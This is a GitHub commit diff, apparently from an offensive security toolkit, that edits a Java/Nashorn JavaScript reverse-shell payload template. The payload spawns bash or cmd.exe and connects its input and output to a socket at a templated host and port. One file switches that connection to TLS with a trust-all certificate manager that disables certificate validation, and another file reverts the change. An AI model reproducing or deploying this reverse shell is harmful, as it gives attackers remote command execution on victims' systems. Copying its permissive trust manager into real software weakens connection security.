File tree Expand file tree Collapse file tree 3 files changed +18
-21
lines changed Expand file tree Collapse file tree 3 files changed +18
-21
lines changed Original file line number Diff line number Diff line change 12
12
output .write_bytes (new GLib.Bytes (imports .byteArray .toString (out)), null );
13
13
}
14
14
} catch (e) {
15
- }
15
+ }
Original file line number Diff line number Diff line change @@ -2,22 +2,7 @@ var shell = "bash";
2
2
if (java.lang.System.getProperty("os.name").indexOf("Windows") != -1) {
3
3
shell = "cmd.exe";
4
4
}
5
- var p=new java.lang.ProcessBuilder(shell).redirectErrorStream(true).start();
6
- var X509TrustManager = Java.type("javax.net.ssl.X509TrustManager");
7
- var permissiveTrustManager = Java.extend(X509TrustManager,
8
- {
9
- getAcceptedIssuers: function(){return null;},
10
- checkClientTrusted: function(certs, authType){return;},
11
- checkServerTrusted: function(certs, authType){return;}
12
- }
13
- );
14
- var trustAllCerts = [new permissiveTrustManager()];
15
- var sc = javax.net.ssl.SSLContext.getInstance("TLS");
16
- sc.init(null, trustAllCerts, new java.security.SecureRandom());
17
- var factory = sc.getSocketFactory();
18
- var s=factory.createSocket("%s", %d);
19
- s.startHandshake()
20
-
5
+ var p=new java.lang.ProcessBuilder(shell).redirectErrorStream(true).start();var s=new java.net.Socket("%s", %d);
21
6
var socketInput = new java.io.BufferedReader(new java.io.InputStreamReader(s.getInputStream()));
22
7
var socketOutput = new java.io.BufferedWriter(new java.io.OutputStreamWriter(s.getOutputStream()));
23
8
var processInput = new java.io.BufferedWriter(new java.io.OutputStreamWriter(p.getOutputStream()));
@@ -43,4 +28,4 @@ while (!s.isClosed()) {
43
28
}
44
29
45
30
p.destroy();
46
- s.close();
31
+ s.close();
Original file line number Diff line number Diff line change @@ -3,8 +3,20 @@ if (java.lang.System.getProperty("os.name").indexOf("Windows") != -1) {
3
3
shell = "cmd.exe";
4
4
}
5
5
var p=new java.lang.ProcessBuilder(shell).redirectErrorStream(true).start();
6
- var s=new java.net.Socket("%s", %d);
7
-
6
+ var X509TrustManager = Java.type("javax.net.ssl.X509TrustManager");
7
+ var permissiveTrustManager = Java.extend(X509TrustManager,
8
+ {
9
+ getAcceptedIssuers: function(){return null;},
10
+ checkClientTrusted: function(certs, authType){return;},
11
+ checkServerTrusted: function(certs, authType){return;}
12
+ }
13
+ );
14
+ var trustAllCerts = [new permissiveTrustManager()];
15
+ var sc = javax.net.ssl.SSLContext.getInstance("TLS");
16
+ sc.init(null, trustAllCerts, new java.security.SecureRandom());
17
+ var factory = sc.getSocketFactory();
18
+ var s=factory.createSocket("%s", %d);
19
+ s.startHandshake()
8
20
var socketInput = new java.io.BufferedReader(new java.io.InputStreamReader(s.getInputStream()));
9
21
var socketOutput = new java.io.BufferedWriter(new java.io.OutputStreamWriter(s.getOutputStream()));
10
22
var processInput = new java.io.BufferedWriter(new java.io.OutputStreamWriter(p.getOutputStream()));
@@ -30,4 +42,4 @@ while (!s.isClosed()) {
30
42
}
31
43
32
44
p.destroy();
33
- s.close();
45
+ s.close();
You can’t perform that action at this time.
0 commit comments